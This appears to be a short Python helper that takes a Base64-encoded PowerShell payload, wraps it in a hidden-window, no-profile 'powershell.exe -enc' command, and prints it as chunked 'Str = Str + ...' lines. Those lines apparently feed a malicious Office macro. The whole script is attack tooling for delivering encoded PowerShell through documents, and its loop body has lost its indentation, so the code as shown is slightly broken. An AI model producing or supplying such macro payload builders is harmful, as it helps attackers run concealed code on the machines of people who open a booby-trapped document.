# Script to split the base64-encoded string into smaller chunks of 50 characters and concatenate them into the _Str_ variable.
payload = input("Enter your Base64 UTF-16LE encoded payload: ")
command = f"powershell.exe -nop -w hidden -enc {payload}"
print("\nOutput:")
n = 50
for i in range(0, len(command), n):
print("Str = Str + " + '"' + command[i:i+n] + '"')